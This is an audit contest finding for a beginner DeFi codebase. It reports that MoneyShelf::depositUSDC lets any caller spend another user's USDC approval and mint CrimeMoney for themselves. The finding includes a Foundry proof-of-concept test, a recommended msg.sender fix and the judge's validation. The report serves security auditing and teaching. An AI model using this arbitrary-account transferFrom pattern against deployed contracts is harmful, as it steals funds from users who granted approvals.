Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Users funds can be exploited in situations where there is adequate approval through `MoneyShelf::depositUSDC`

Summary

The cause of this exploit is that address account variable in MoneyShelf::depositUSDC is not necessarily the msg.sender, making it possible for an exploiter to be able to access the account of other users in a situation where there is enough approval. Further implication of this is that the exploiter is able to mint CrimeMoneyusingUSDC` balance which is not his.

POC

contract AttackProve is Test {
MoneyShelf moneyShelf;
Kernel kernel;
MockUSDC usdc;
CrimeMoney crimeMoney;
Laundrette laundrette;
WeaponShelf weaponShelf ;
address victim = makeAddr("victim");
address exploiter = makeAddr("exploiter");
address admin = makeAddr("admin");
function setUp() public {
vm.startPrank(admin);
kernel = new Kernel();
usdc = new MockUSDC();
crimeMoney = new CrimeMoney(kernel);
moneyShelf = new MoneyShelf(kernel, usdc, crimeMoney);
weaponShelf = new WeaponShelf(kernel);
laundrette = new Laundrette(kernel);
kernel.grantRole(Role.wrap("moneyshelf"), address(moneyShelf));
kernel.executeAction(Actions.InstallModule, address(moneyShelf));
kernel.executeAction(Actions.InstallModule, address(weaponShelf));
kernel.executeAction(Actions.ActivatePolicy, address(laundrette));
usdc.transfer(victim, 100e6);
vm.stopPrank();
}
function test__exploitPossibility() public {
vm.startPrank(victim);
usdc.approve(address(moneyShelf), 100e6);
laundrette.depositTheCrimeMoneyInATM(victim, victim, 10e6);
assertEq(usdc.balanceOf(victim), 90e6);
vm.stopPrank();
vm.startPrank(exploiter);
uint256 victimBalance = usdc.balanceOf(victim);
laundrette.depositTheCrimeMoneyInATM(victim, exploiter, 10e6);
vm.stopPrank();
assert(victimBalance > usdc.balanceOf(victim));
assertEq(crimeMoney.balanceOf(exploiter), 10e6);
}
}

Tools Used

Manual Review

Recommendations

Instead of using account in usdc.transferFrom(account, address(this), amount); use msg.sender. Also include a require check to help ensure that the account is the msg.sender and an additional system to track and update its balance. Neceesrary required checks should also be added in the withdraw function also.

Updates

Lead Judging Commences

n0kto Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.